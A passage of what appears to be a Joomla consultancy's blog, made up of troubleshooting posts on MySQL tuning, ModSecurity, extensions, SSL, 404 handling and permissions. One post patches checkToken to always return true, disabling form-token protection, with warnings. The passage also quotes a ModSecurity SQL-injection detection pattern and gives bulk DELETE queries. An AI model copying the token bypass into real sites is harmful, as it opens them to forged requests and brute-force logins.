So, the next time you see that error on your website, a good idea would be to check for these 3 things: the presence of the index.php file, the permissions on the index.php file, and the presence of the sharp (#) sign next to RewriteBase / in your .htaccess file. If you still can’t find the problem, then go ahead and contact us. We will solve your problem in as little time as possible and you will only have to pay our super affordable fees!

How to Disable Email Cloaking in Joomla on a Particular Page

We’re not the biggest fans of Joomla’s Email Cloaking plugin; we think it’s useless. But, obviously, the Joomla development team doesn’t agree with us as the plugin still exists in Joomla 3.4.x (the latest version of Joomla at time of writing this post). Additionally, there are still many Joomla websites who still use this plugin because they (mistakenly) believe it will protect their emails from spam. But, at times, some of these websites start having issues on some pages, and so their administrators reluctantly decide to completely disable the Email Cloaking plugin, thinking that this is the only way to address the problem.

While we think that disabling the plugin is the best way to address any problem caused by it (we really, really don’t like it), we have to admit, it is not the only way. In fact, one can disable the plugin at the problematic page level by just adding the following code to the (beginning of the) content item having the issue (the content item can be a Joomla article, a K2 item, a Joomla custom HTML module, etc…):

{emailcloak=off}

Once the above code is added to a content item, then the plugin will not be applied on that content item. This is because, in its code, the plugin has the following lines:

if (JString::strpos($text, '{emailcloak=off}') !== false){
$text = JString::str_ireplace('{emailcloak=off}', '', $text);
return true;
}

As you can see from the above code, the plugin is instructed not to continue running in case it encounters {emailcloak=off} in the content item.

If you would like to disable Joomla’s Email Cloaking plugin for a certain article (or any other content item), then all you need to is to follow the above code. If it doesn’t work for you, then just contact us and we’ll do it for you in no time and for a very affordable fee!

Internal Server Error When Trying to Save Content on a Joomla Website

One of our clients called us today and told us that they were trying to save an Event in the DPCalendar extension, and they were getting an Internal Server Error. They said that the same problem was happening when they were trying to save a blog in EasyBlog.

From our experience, the majority of Internal Server Errors are caused by Apache’s mainstream security module, ModSecurity (an example of this can be found here).

So, the first thing that we did was that we checked the ModSecurity log file (which is the modsec_audit.log file located under the /usr/local/apache/logs folder) and we found the following errors:

Message: Access denied with code 500 (phase 2). Pattern match “(insert[[:space:]]+into.+values|select.*from.+[a-z|A-Z|0-9]|select.+from|bulk[[:space:]]+insert|union.+select|convert.+\\(.*from)” at ARGS:jform[description]. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "371"] [id "300016"] [rev "2"] [msg "Generic SQL injection protection"] [severity "CRITICAL"]
Message: Rule 10ab6e8 [id "3000086"][file "/usr/local/apache/conf/modsec2/rootkits.conf"][line "155"] – Execution error – PCRE limits exceeded (-8): (null).

Aha! So, it was it was ModSecurity (Tweety?). We had 2 options, we either had to disable ModSecurity for everyone (we can’t just disable it for our client since they had a dynamic IP), or we had to address the problem differently. We chose the latter.

In order to solve the problem, we created a file called whitelist.conf under the /usr/local/apache/conf/modsec2 folder with the following content:

<LocationMatch "/administrator/index.php">
  SecRuleRemoveById 300016 3000086
</LocationMatch>

(Note that the numbers in red are the same as above.)

We saved the file and restarted Apache, and the problem was solved!

But why was the problem solved?

It’s because in the file whiltelist.conf, we instructed ModSecurity not to enforce rules 300016 and 3000086, which were causing the problem.

But what about disabling ModSecurity altogether? Wouldn’t that solve the problem?

Yes – it would, but doing so will have some severe adverse effects when it comes to the website’s (and the server’s) security. We don’t really recommend doing this as ModSecurity is extremely efficient for filtering out malicious requests to the server. It is possible to disable ModSecurity at the .htaccess level or the (virtual) server level if you have a VPS or a dedicated server. However, if you are using a shared hosting solution, it might be that your host does not allow the disabling of the ModSecurity module. In the latter case, you have no other option but to try to talk to your host to make an exception for your website.

If you are running into Internal Server Errors when you are trying to add/edit something on your website, then most likely this is a ModSecurity issue. Just follow the above guide and you should be OK. If it doesn’t work for you or if you feel it’s a bit complicated, then please contact us – we’ll help you address the problem in no time and for a very affordable fee!

Why AcyMailing Causes Load Issues on the Server

A huge racing website that we manage sends out daily newsletters using AcyMailing (the famous newsletter extension for Joomla), and every time those newsletters are sent, the website slows down gradually and eventually crawls to a halt. The whole performance degradation time is typically only a few minutes, which has always been tolerable by the website administrators – until Sunday (a couple of days ago), when they had several newsletters to send because of a huge racing event. They just couldn’t tolerate 30 minutes of website unresponsiveness and so they asked us to investigate and fix the problem prior to sending out those newsletters.

Typically, we don’t recommend our large clients to use Joomla extensions that use the application’s mail server to send out newsletters, not because we think they’re unreliable (on the contrary – we think they are very reliable), but it’s because we think (for many reasons – including load issues, blacklisting, server management, etc…) that the server hosting the main website should not be used as a newsletter server. What we do recommend is using a 3rd party tool to send out emails (most of these tools have extensions which allow them to be used from within Joomla, but without using the Joomla server as a mail server), for example ConstantContact or MailChimp. But some clients send out many newsletters to many people every day, which makes using a 3rd party tool a non-viable alternative from a financial perspective.

Going back to our original client’s request, we started investigating the problem by checking the MySQL slow query log, and it didn’t take us long to discover the root cause: it was a myriad of slow INSERT queries to different tables in the eximstats database. Every time AcyMailing sent an email to one individual, several INSERT query statement were executed on different tables of the eximstats database. Since each table was fairly large, some of these statements were taking several seconds to execute.

Since our client was relying on AcyMailing’s statistics (and not on Exim’s), we decided to disable statistics on Exim (Exim is one of the most used mail servers out there). Here’s how we did it:

  • We logged in to WHM on the server hosting the Joomla website.

  • We clicked on Service Configuration.

  • We then clicked on Service Manager.

  • We unchecked the box next to Eximstats.

  • We clicked on Save at the bottom (you will have to wait for about half a minute when you click on that Save button).

  • We restarted the Exim mail server by going back to the Home page on WHM, and then clicking on Restart Services, and then clicking on Mail Server (Exim), and finally clicking on Yes.

Doing the above ensured that Exim no longer collected statistics about the sent emails, which resolved the problem as the website stopped having load issues during newsletter sending time.

If you are using AcyMailing and you are having load issues (or even downtime) during the sending process, then try disabling Exim’s statistics. If that doesn’t fix the problem, then a good idea would be to contact us. Our fees are right, our work is super professional, we love what we do, and we are the friendliest developers on Planet Earth.

Updating the Hits Counter on Your Joomla Website Taking a Long Time? Read This!

A client called us back on Friday and told us that his company was having some serious load issues on its high traffic corporate website (which was, or course, using a Joomla website). Usually, when there are performance issues on a website, the first thing that we check is the slow query log (typically located under the /var/lib/mysql directory). And so we did, and we noticed that the log was full of queries that are more or less the same as the ones below:

UPDATE #__categories SET hits=hits+1 WHERE id = 402;
UPDATE #__content SET hits=hits+1 WHERE id = 114317;

Each query was taking a few seconds (some of these queries were taking about 10 seconds) despite the fact that it updates only one row. Hmmm – but why?

We tried running one of the above queries directly in phpMyAdmin and it took more or less the same amount of seconds every time we ran it. Oh, and by the way, the website was using MyISAM as then engine for the MySQL database, which means that any update to the table (such as #_content) will lock the whole table, which means that any subsequent update to the table will have to wait on the previous update to complete before getting executed. Of course, switching to InnoDB will solve the table locking issue (since InnoDB uses row locking instead of table locking, which means that an update to a specific row will only lock that row), but may introduce a myriad of other issues, and we still won’t know what is causing the update to take a long time in the first place.

And so, we decided to stick with MyISAM and solve the problem. So, the next thing that we did was checking the MySQL configuration, which can be found in the my.cnf file which is located under the /etc folder. Luckily we immediately discovered the problem, and it was in the following lines:

query_cache_size=8G
query_cache_limit=16M

The database had a query cache of 8 GB (that’s eight gigabytes!), and, while cache is a good thing (or maybe not), it can cause some serious issues when it is above a certain limit (that limit depends on the processing power of the server, its memory, as well as other factors), because the overhead of maintaining the cache will increase substantially. So, on the website we were working on, everytime there was an update to the #__content table (which is one of the most used tables on a Joomla website) because of hit tracking, all the queries using the table #__content got invalidated, which meant that MySQL had to scan through gigabytes of data for those queries and remove them. Not only that, all these invalidated queries must be then re-executed, which created even additional load on the server. Yes – it’s a very, very vicious circle.

So, what was the solution?

The solution was to significantly reduce the query cache by replacing the above lines with the following lines (the last line will reduce the size of a cache block, which is a good idea to do if most of the cached queries are less than 2 KB in size, which is typically the case on a Joomla website) and then restarting MySQL (the below changes will not take effect unless MySQL is restarted):

query_cache_size=128M
query_cache_limit=256K
query_cache_min_res_unit=2k

By doing the above, we ensured that the cost of maintaining the query cache will not be that significant, which meant that update queries to the most used tables will no longer be heavy queries, which resulted in a much, much better load on the server (the load got reduced from an erratic 12-20 to a consistent 2-3).

Another solution, of course, was to completely disable hit tracking on the Joomla website, which would have solved the problem probably more efficiently. However, it wasn’t an option for us since the website was displaying the number of hits on each article.

If you’re having performance issues on your website because of hit tracking, then consider disabling it if you’re not using it. If you are, then you should check the configuration parameters of the MySQL database engine on your server, and ensure that you are using reasonable values for the query cache parameters. If you need help, then please contact us and we’ll do the work for you in no time and for a very reasonable fee!

How to Display a Joomla Module Only on Mobile Devices

We are getting an increasing number of clients telling us that they want to display certain modules only for mobile devices (and some other modules only for computers). This is very normal, since all websites are seeing a dramatic increase in mobile traffic, a fact that is causing businesses to target mobile visitors with some different content (such as different advertisements) in order to increase conversions.

In this post, we will explain exactly how we do this in a very clean way. Without further delay, let’s start!

  • We first open the file index.php located under the templates/[template-name] folder and we add the following function immediately after the defined( ‘_JEXEC’ ) or die( ‘Restricted access’ ); line:

    function isMobileTraffic(){
    	$arrMobileAgents = array('android', 'blackberry',
    	'googlebot-mobile', 'ipad', 'iphone', 'ipod', 'mobi',
    	'mobile', 'opera mini', 'safari mobile', 'windows mobile');
    	$strCurrentUserAgent = $_SERVER['HTTP_USER_AGENT'];
        foreach ($arrMobileAgents as $strMobileAgent) {
    		if (stripos ($strCurrentUserAgent, $strMobileAgent) !== FALSE) {
    			return true;
    		}
    	}
    	return false;
    }

    The job of the above function is to detect whether the traffic is coming from a mobile device. If it is, then the function will return true. If not, then it will return false. Please note that the above function is not exhaustive, so it might be that there are some rare user agents that are not taken into consideration (in that case, the function will treat traffic coming from these devices as desktop [computer] traffic).

  • After adding the above function, we add the mobile exclusive position to the template; we just locate the position where we want to add the module and we add the following code:

    <?php if (isMobileTraffic()) { ?>
    <div id="mobile-module-1">
    	<jdoc:include type="modules" name="mobile-module-1" style="raw" />
    </div>
    <?php } ?>

  • Once the above is done, we create a module (it can be of any type), and then we assign it to the mobile-module-1 position. Once that is done, the website will display that module only for mobile traffic! Easy, huh?

But what if we already have a template that is dedicated for mobile traffic?

In this case, you only need to create a unique position (e.g. a position that doesn’t exist in the non-mobile template) in the index.php of the mobile template, and you’re all set! (you don’t have to add the function above to the beginning of the index.php file.)

We have tried to make this guide as clear as possible. But, it is impossible for us to make it code free. If you’re not a programmer and you need help implementing the above, then all you need to do is to contact us. Our fees are super affordable, our work is super fast, and we are super professional!

“MySQL server has gone away” Error on Joomla

One of our regular clients was seeing the following error when trying to view the VirtueMart orders in the backend of his Joomla 3.3.6 website:

Error displaying the error page: Could not connect to MySQL.: MySQL server has gone away SQL=SELECT SQL_CALC_FOUND_ROWS o.*, CONCAT_WS(’ ‘,u.first_name,u.middle_name,u.last_name) AS order_name ,u.email as order_email,pm.payment_name AS payment_method FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type=”BT” LEFT JOIN #__virtuemart_paymentmethods_en_gb as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id ORDER BY created_on DESC LIMIT 0, 100

Obviously, the above SQL query was causing the MySQL server to go away – but what does going away mean in this context? It typically means that the server timed out while processing the above query (which takes a lot of time).

Hmmm! Easily fixable, we thought. We ssh’d to the server and we edited the my.cnf file (this file contains all of MySQL’s settings) located under the /etc folder the following way:

  • We opened the file in vi:

    vi /etc/my.cnf

  • We changed the value of max_allowed_packet to 256M.

  • We closed the file and then we restarted MySQL by issuing the following command (this step is necessary so that MySQL starts with the new settings – note that on some Linux installations, the command to restart MySQL is different):

    /etc/init.d/mysql restart

  • We checked the problematic page (the one displaying the VirtueMart orders), and it still had the same problem.

No problem! We opened again the file my.cnf and we added the following lines:

wait_timeout=100
interactive_timeout=100
net_write_timeout=100

We restarted MySQL and tried again, but still, the same problem.

We started to feel a bit of pressure – but we thought – maybe we will be able to find something in MySQL’s error log. So we checked that error log, and we noticed that there was a problem with the innodb_index_stat table (this is a core MySQL table and it is used for InnoDB tables). We checked that table through phpMyAdmin (it is located in the core mysql database), and we got the following error: table ‘mysql.innodb_index_stats’ doesn’t exist

Huh? At this point, we were no longer surprised by the error that our client was getting, but we were astonished that the rest of the website was working since a core MySQL table, the ‘mysql.innodb_index_stats’ table, was corrupt.

We tried everything – we tried every imaginable method to repair the table – but none worked. Eventually what we did was that we created a backup of the database and then re-installed MySQL, and finally re-imported the database. Everything worked as normal once we did that!

But what caused this problem in the first place?

We’re not certain – we suspect a server crash that happened recently caused this problem. But, in all fairness, the actual reason might not be it. The good news, however, is that we got this problem solved!

If you’re seeing the “MySQL server has gone away” error on your Joomla website, then try the above solutions in sequence. If none of them worked, then your best bet would be to re-install MySQL as quite possibly you have a corrupt instance of the DB server. If you need help fixing this problem then please contact us. Our fees are super affordable, our work is quick and very professional, and we are the friendliest developers on planet Earth.

Calculations Not Working Correctly on RSForm Pro – How to Fix

One of the extremely convenient (and very cool) features in RSForm Pro is the Calculations feature. The Calculations feature can be found by logging to the backend of the Joomla website, and then by going to RS Form Pro -> Manage Forms, and then clicking on the form you wish to add the calculations to, and then clicking on the Properties tab on the top, and finally clicking on the Calculations tab at the bottom left.

Now, the obvious question would be, “what’s so cool about this feature?”

Well, let’s assume you have the following 3 fields on your form:

  • Price
  • Quantity
  • Subtotal

Typically, you would like to have the Subtotal automatically calculated once the person enters/changes the Price and the Quantity. If you were to do this using pure JavaScript, it will take you a lot of time and you will have a lot of code to maintain. But, since you’re using RSForm Pro, you can do this instantly the following way:

  • You go to the Calcuations page as described above.

  • You choose Subtotal from the dropdown.

  • You paste the following formula into the text field just left of Save this calculation:

    Subtotal = {Price:value} * {Quantity:value}

  • You save the form by clicking on the Save button on the top left.

  • You check the form on your website and you watch the coolness in action!

The nice thing about this is that this feature can be used in complex calculations, and, more importantly, in derived calculations. By derived calculations we mean calculations using other calculations. For example, in the above form, you might have 3 subtotal fields: Subtotal A, Subtotal B, and Subtotal C, and each of these fields is the result of Price [n] x Quantity [n]. In this scenario, you may want a field called Total which is the sum of all the subtotals. You can easily do this using the Calculations feature by just assigning the following formula to the Total field:

{Subtotal A:value} + {Subtotal B:value} + {Subtotal C:value}

That’s it! Now when a person changes the price or the quantity of any product, the subtotals and the total will be automatically updated. This is also more convenient and much clearer than the following (longer) formula (which yields the same result):

({Price A:value} * {Quantity A:value}) + ({Price B:value} * {Quantity B:value}) + ({Price C:value} * {Quantity C:value})

But – nothing is perfect and every piece of software has bugs! In this case, the bug is evident when one of the fields is anything but a regular text or hidden field… Let’s say, for example, you have a dropdown field where the person chooses the quantity. In this case, the Subtotal calculation will not work, and consequently, the Total calculation will not work. Why?

Well, because when the field is a dropdown (also referred to as a select), a radio button group, or a checkbox group, the system assumes that the user can choose multiple values (of course, this is not possible in the case of a radio button group or a single select), and so it stores the value in an array, which then causes a problem when the system tries to use this value…

But, how to fix the problem?

There are several ways to fix the problem, and the easiest one, in our opinion, is to fix it in the script.js file, which is located under the components/com_rsform/assets/js folder. Here’s how you can fix the problem for the dropdown:

  • Open the aforementioned file.

  • Search for the line:

    values.push(element.options[o].value);

  • and add the following line before the above line:

    return element.options[o].value;

  • Save the file, clear the cache, reload the page, and the problem should be solved!

You can apply the same fix for the radio buttons and the checkboxes! It is a very simple fix. The downside of this solution is that if you have a multiple select field that will be used for calculations in your form, then only the first value will be taken into consideration!

Now, if you, our very precious reader, are facing the same problem and if the above guide didn’t solve the problem (or if you feel that the whole thing is a bit complicated and you prefer that someone else does it for you), then please contact us, we will do it for you swiftly, professionally, and for a very affordable fee!

“Fatal error: Call to undefined method stdClass::render()” when Using JComments

One of our clients was getting the following error after upgrading Joomla from 3.3.6 to 3.4:

Fatal error: Call to undefined method stdClass::render() in /components/com_jcomments/libraries/joomlatune/template.php on line 318

He told us that immediately after he upgraded to Joomla 3.4, JComments (the famous Joomla commenting platform), stopped working (clicking on the Add Comments link stopped working). So, what our client did is that he uninstalled and then re-installed JComments – but when he did that, he got the above error, and so he called us!

Luckily, the above error told us clearly where the problem was. So, we opened the file template.php located under the /components/com_jcomments/libraries/joomlatune/ folder, and we jumped to line 318, and here’s what we saw:

$this->_templates[$template]->render();

Hmmm… So the template cannot be rendered, but why? So, we went to the JComments settings in the backend, by clicking on Components -> JComments -> Settings, and then clicking on the Layout. We then quickly checked the Template field (in the View section) and we immediately noticed that no template was assigned. Naturally, our first instinct was to assign a template to the Template field, and so we did that (we chose the default template) and we checked the website, and guess what, the problem was no more!

So, what did cause the problem in the first place?

The problem was caused by the fact that our client was using a custom template that did not exist in JComments public distribution, and so when he uninstalled JComments, that template was removed. The new installation of JComments used the old settings, and so it set the Template field to the non-existing template – hence the problem.

If you’re seeing the same problem on your Joomla website and if you are using JComments, then most likely the problem is that there is no template assigned in your JComments settings. If you already have a template assigned, then make sure that all the files pertaining to that template exist. If you are also sure about that, then your best option would be to contact us. We will fix the problem for you in as little time as possible and for a very affordable fee!

A Quick Way to Optimize a Joomla Website: Logging MySQL Queries that Lack Indexes

If you have already optimized many of the slow queries on your Joomla website using the power of the MySQL slow query log, and yet MySQL is still putting some pressure on your server load, then a good idea would be to check which indexless queries are being executed by your database server. By indexless queries, we mean those queries that have filters or sorting, but the fields that these queries are filtered or sorted by are not indexed.

For example, if you have the following query somewhere on your Joomla website:

SELECT * FROM #__content WHERE cat_id=5 ORDER BY created DESC";

Then you should have both cat_id and created indexed.

Now the question is, how do you know easily which queries lack indexing? Well, luckily, there is an easy way to do it in MySQL if you have root access to the server.

All you need to do is the following:

  • ssh to the server hosting the database of your Joomla website.

  • Open the file my.cnf located under the /etc folder (that file might be located elsewhere, but on all the servers we have worked on, it was located under the /etc folder).

  • Add the following lines at the end of the file:

    slow-query-log=1
    long-query-time=1
    log_queries_not_using_indexes=1
    slow-query-log-file="/var/lib/mysql/slow.log"

  • Save the file (if you’re using vi you can quickly save the file by clicking on ESC and then typing :wq! followed by the ENTER key).

  • Restart MySQL using the following command:

    /etc/init.d/mysql restart

  • Now keep an eye on the slow.log file located under the /var/lib directory, you will notice that it will get filled with all sorts of queries, quickly!

Once you have enough queries then you should disable indexless query logging the following way:

  • Open the file my.cnf under the /etc folder.

  • Comment out the following line by adding a sharp (or a hash – depending on what you call it) to its beginning:

    log_queries_not_using_indexes=1

    (so the above line will be #log_queries_not_using_indexes=1)

  • Save the my.cnf file and restart MySQL.

Now you can examine all the indexless queries in the slow.log file and fix them. You should focus first on the queries that you see most in the slow.log file. Once you fix those queries, repeat the process above (re-enable/re-disable the logging of the queries that have no indexes) until all (or most) of these queries are fully optimized. Now check your load, and you should see a substantial difference.

Note that you will need to have some serious database skills to fix those queries. If you need help, then you can always contact us. Our rates are super affordable, our work is very clean and professional, and we are courteous and super fun to work with!

How to Completely Get Rid of the “Invalid Token” Error on Joomla

Note: The solution in this post is compatible with all versions of Joomla that are 2.5 and above (as of March 2015).

Another note: This solution will always work on compatible Joomla versions.

Warning: The solution in this post is a core modification – this means that your changes will be possibly wiped out with a future Joomla update.

Another warning: Go with the solution presented in this post only when you’re desperate – since this particular core modification may jeopardize the stability and security of your Joomla website. You have been warned!

Final warning: This solution should be temporary if you decide to implement it. You should locate the root cause of the “Invalid Token” issue and fix it there. (if you need help with that, we’re always there!)

Ah – invalid tokens – if we had a dime everytime a client calls us with an invalid token issue, we’d have a small jar full of dimes! Invalid tokens are by far the most annoying, frustrating, and loathed Joomla errors and they’re nearly impossible to fix. But, what most people do not know, is that one can get rid of these errors once and for all with just one line of code! Here’s how to do this:

  • Open the file session.php located under the libraries/joomla/session folder.

  • Locate this line:

    public static function checkToken($method = 'post')

  • Just after the opening bracket (the {), add the following line:

    return true;

  • Upload the file session.php back to your website.

  • That’s it! You have solved the “Invalid Token” error on your Joomla website once and for all (well, at least until the next update of your Joomla website)!

Unbelievable, huh? Just one line of code in the right place marked the end of many, many hours (or many weeks, for some) of frustration.

But, doesn’t this solution seem like removing one small part of a car and claiming that it’s not needed?

Yes – that’s exactly what this solution is – but we’re not car repairmen and we’re not claiming that this functionality is not needed – it is needed! In fact, it prevents people from running automated queries in order to gain access to your website by directly submitting content to your forms instead of going through the normal process – and that is exactly why we wrote a warning at the beginning of this post that this should be only a temporary solution until a real fix is implemented.

So, will this solution really jeopardize the security of my Joomla website?

It might. As stated above, people won’t have to go through the normal process to submit actions to your website, which means that people may 1) login to your website using a brute force attack or 2) spam your website. Note that if you have a very strong password then the former possibility is a bit remote.

If you need help implementing this solution, or if you need help identifying and fixing the real problem, then please contact us. We can do the work for you in very little time and for a very affordable fee!

The MySQL Error Log Is an Excellent Tool for Debugging a Joomla Website

A couple of days ago a client called us and told us that whenever someone tries to click on a link in an ACYMailing newsletter, he was seeing a blank page. The client assured us that he didn’t change anything in the code.

If you have been reading our blog for a while, then you will probably know that a blank page is a sign of an error, and that in order to see that error, you will need to set the Error Reporting level to “Maximum” in your global configuration settings. And so we did that, but we still didn’t see any error. Easily fixable, we thought! But despite using every imaginable way in our guide to display the errors, we still couldn’t see what the error was.

But then, for some reason, we thought about checking the MySQL error log – maybe it can tell us something. And so we ssh’d to the server and we went to the /var/lib/mysql directory, and we opened the error file (the error file is usually called *.err where * is typically the name of the server, appended to the main domain name on that server; an example of an error’s file name is: server1.yourjoomlawebsite.com.err ). Here’s what we saw:

150303 9:16:45 [ERROR] /usr/sbin/mysqld: Table ‘./[dbname]/jos_acymailing_userstats’ is marked as crashed and should be repaired

Ah ha! So the problem was with a corrupt table. So, in order to fix the problem, we did the following:

  • We logged in to phpMyAdmin (from the WHM interface).

  • We selected the database serving the Joomla website.

  • We clicked on the SQL tab at the top.

  • We pasted the below SQL query in the textarea:

    REPAIR TABLE `jos_acymailing_userstats`;

  • We clicked on GO at the bottom and we waited for a few minutes until the table was repaired.

  • That fixed the problem!

But, what caused the problem in the first place?

The jos_acymailing_userstats table was a heavily active MyISAM table with substantial number of writes per second. Tables that active (write wise) are vulnerable to crashes if a server hiccup occurs during a write activity (for example, during an INSERT or an UPDATE query). A good idea would be to flip such tables from MyISAM to InnoDB (a performance hit may occur if you do this though; you will need to make some modifications to your my.cnf file if this happens).

As you can see, the MySQL error log was crucial in identifying the problem. So, the next time you see a blank page on your Joomla website, take a glimpse at your MySQL error log and see if you can find anything there. If, however, you feel that this whole thing is a bit over your head, then please contact us. We will be able to fix the problem for you in as little time as possible and for a very, very affordable fee!

Can’t Login to Joomla’s Backend when SSL Is Enabled

A new client emailed us yesterday and told us that every time he tries to login to the backend of his Joomla website, he’s redirected to the login page with no errors (our client called this issue “the admin login loop”). So the first thing that we asked him is whether he checked our post about the same problem. He said that he already did, but he still wasn’t able to resolve the problem.

So we tried fixing the problem using the guide in our post above, but we were unsuccessful. But then we thought, that website uses SSL in the backend, so what if we disable SSL and try to login again? And so we did: we disabled SSL by editing the configuration.php file (which is located under the root directory of the Joomla website) and changed the line:

public $force_ssl = '1';

to:

public $force_ssl = '0';

We then tried to login and (surprise, surprise) it worked! Aha! So the problem was related to the SSL setting in Joomla’s configuration… Maybe it’s a bug in the version of Joomla used by our client? Or maybe it’s a rogue extension causing this mess? We weren’t sure, but we just didn’t have the time to investigate further since our client was on a very tight budget. So we fixed the problem in a clean way using the power of the .htaccess file… Here’s what we did:

  • We opened the .htaccess file which is located under the root directory of our client’s website.
  • We added the following lines immediately after RewriteEngine On:

    RewriteCond %{HTTPS} !=on
    RewriteRule ^(administrator/.*)$ https://www.ourclientjoomlawebsite.com/$1 [R=301,L]

  • We saved the file and we uploaded it back.

  • That fixed the problem while ensuring that the backend still works in SSL mode!

If you have the same problem, then all you need to do is to disable SSL (by setting the $force_ssl variable to 0 in the configuration.php file) and follow the above guide. That’s it!

If, however, you want to solve it from within Joomla (and know what’s really causing this problem), or if you don’t feel at ease editing the configuration.php and the .htaccess files, then please contact us. We are always eager for new work, we are experts in Joomla, our clients love us, and we don’t charge much!

You Can’t Create a Menu Item Alias Pointing to a Menu Item of Type “External URL”

A new client called us and told us that a newly created menu of his, which is created out of another menu, does not work. He said that none of the links work in the new menu, despite the fact that they work in the other menu.

So we looked into the issue and we immediately found the cause of the problem, each one of the menu items in the new menu was pointing to a menu item of type “External URL”. That’s the cause of the problem!

If you have a menu item of type “External URL”, you can’t create a menu item alias pointing to it (the same way you can’t create a menu item alias pointing to another menu item alias). You will need to create another menu item of type “External URL” and point directly to that URL.

But why can’t Joomla automatically point the menu item alias to the external URL?

The short answer is that it’s a bug in Joomla (and this is explained in details in the above link). The problem though is that if you ever decide to change one of those external URLs, you will have to change it in each menu item pointing to it, and not in just one menu item. We know, this is annoying, and we hope that Joomla will get this sorted out in the future. But for now, your only option is to just duplicate the menu item and assign it to the other menu that you wish to use it in.

If you have the same problem, and if our post above didn’t help solve your problem, then try clearing your Joomla cache. If this is still an issue, then please contact us and we’ll solve the problem for you in no time and for a very, very affordable fee!

The Right Way to Handle 404’s in Joomla

404: it’s probably the most known number in the Internet world, and it means that the page is not found. Ironically, 200, the response code that one will get when the page is found and everything’s OK, is not nearly as known. This, from our psychological perspective, sheds a light on the pessimistic nature of the Internet (half-full vs half-empty glass, or sort of…). But hey, we’re not psychologists, so let’s focus on what we know best: Joomla!

By default, when a page does not exist, Joomla displays a generic page with a red 404 – Not found header. Of course, if you are running a professional website, you need to change this page to something more elegant (e.g. making it use the same template as your website), and Joomla’s official documentation recommends you do so by following the below steps:

  1. Create an article called 404 in Joomla’s Article Manager. This article will contain your custom 404 error message. Note that the article can be called anything, but it’s better to call it 404.

  2. Create a menu item, also called 404 (again, it can be called anything – but calling it 404 makes it clear that this is your 404 menu item), which points to your 404 page. This means that going to http://www.yourjoomlawebsite.com/404.html will display your error page (assuming you have SEF turned on, and you’re using mod_rewrite, and you’re adding the .html suffix to your URLs).

  3. Copy the file error.php from the templates/system folder to the templates/[your-template-name] folder.

  4. Add the following code to the beginning of the copied error.php file (after restricted access):

    if (($this->error->getCode()) == '404') {
    	header('Location: http://www.yourjoomlawebsite.com/404.html');
    	exit;
    }

  5. That’s it!

Now, if you go to a page that doesn’t exist on your website, you will be automatically redirected to your fancy 404 page. We know, this is fascinating, but there is a problem…

You see, the above code redirects your non-existent pages to an existent, 404 page, using a 302 redirect. So, if you’re using Google Webmaster tools, non-existent pages will no longer show up in the Not Found tab on the Crawl Errors page, since you are telling Google (and all other search engines), that any non-existent page is temporarily redirected to your 404 page. This means that you won’t be able to fix all the problematic links to your content because you won’t be able to see them!

So, what is the right way to handle 404’s in Joomla?

The right way to do handle 404’s in Joomla would be to add the below code in the copied error.php file instead of the code above:

if (($this->error->getCode()) == '404') {
	header('HTTP/1.0 404 Not Found');
	$errorPageContent = file_get_contents('http://www.yourjoomlawebsite.com/404.html');
	echo $errorPageContent;
	exit;
}

The above code will not redirect to your 404 page, but instead, it will grab the content from your 404 page after telling Google (and, of course, other search engines) that the page is not found. This way, you will ensure that Google’s Webmaster Tools will still list all your non-found pages even after you change to the dull Joomla default 404 page to your new and improved 404 page!

We hope you found this post useful. If you need help with the implementation, then please contact us. We will do it for you in a heartbeat and for a really, really affordable fee!

“No Input File Specified” Error on Joomla 3.3.6

A client called us around 1:30 AM this morning, and told us that his website went down all of a sudden. We checked the website and here’s the error that we saw:

No Input File Specified

Hmmm…

It was probably the first time that we saw this error and so we started by debugging the index.php file under the root directory of the website, by adding a die(); at the beginning, but our code didn’t execute and we still saw the same error. Usually, there are 4 reasons why an index.php change isn’t reflected on the actual website:

  1. Apache doesn’t have write permissions on the index.php file. We checked the permissions and they were owned by the suPHP user and they were 644. So, nothing was wrong there!

  2. The website is showing a cached version of the index.php file. We added the debug code at the very beginning of the file, so caching shouldn’t be even triggered. We also wiped out the contents of the cache folder just for good measure. Still, the same problem!

  3. We are working on the wrong file. We checked, double checked, and triple checked that it was the correct index.php file. So, we were confident that we were working on the right file.

  4. There is a quirk in the .htaccess file. We renamed the .htaccess file to .htaccess.old and we moved it outside the website’s directory (some environments will use the renamed file unless they can no longer access it). Nothing has changed! The “No Input File Specified” error was still there.

We then re-checked the index.php file, as this problem might happen if there is a space somewhere before the opening <?php tag or after the ending ?> tag, but nothing was there. We even created another index.php and moved the old one elsewhere. This didn’t fix the problem, but it helped us identify the problem: While moving the file outside the public_html directory, we noticed that the directory had the following permissions:

drwxr-x--- 27 755 nobody 4096 Feb 13 1:20 public_html/

Hmmm… This means that the public_html directory had a permission of 0700 (while being owned by the nobody user). This in turn means that Apache can’t even read the index.php file because it just can’t read anything in the parent directory.

In order to solve the problem, we changed the permissions on the public_html directory by issuing the following commands while in the Linux shell:

chmod 755 /home/[user]/public_html
chown -R [user] public_html
chgrp -R [user] public_html

Note: [user] should be your cPanel username for that website (without the brackets).

That fixed the problem!

But what caused the problem?

At first we didn’t know, but then our client revealed to us that it was his host that caused the problem, while trying to solve another problem!

If you have the same problem on your website, then check the permissions on both the index.php file and the public_html directory. The problem most likely lies there. If it isn’t, or if you’re not a big fan of touching the permissions, then please contact us. We will fix the problem for you in no time and for a very, very affordable fee!

How to Quickly Remove All Articles in Joomla

In this day and age, everyone wants more content on their website (after all, content is king), so for many, this post won’t make any sense. But for some, it does. In fact, we had some clients who actually wanted to reset the content of their Joomla website, despite the potential SEO implications (which we communicate to our clients), but, when the client insists against our best judgement, we will eventually oblige and we delete all the articles off his Joomla website. Here’s how we do it:

  • We login to phpMyAdmin (usually from within cPanel), and then we select the database that powers the Joomla website.

  • We run the following queries (by clicking on the SQL tab on the top, pasting the queries, and then clicking on Go):

    DELETE FROM `#__content`;
    DELETE FROM `#__categories` WHERE `type` = 'com_content';
    DELETE FROM `#__assets` WHERE name LIKE 'com_content.category.%' OR name LIKE 'com_content.article.%';

    Note: You must replace #__ in the above queries to the database prefix of your Joomla website which can be found in the configuration.php file (it is the value of the variable $dbprefix).

  • Finally, you should optimize the tables (where you deleted the rows from) by issuing the following queries:

    OPTIMIZE TABLE `#__content`;
    OPTIMIZE TABLE `#__categories`;
    OPTIMIZE TABLE `#__assets`;

  • That’s it!

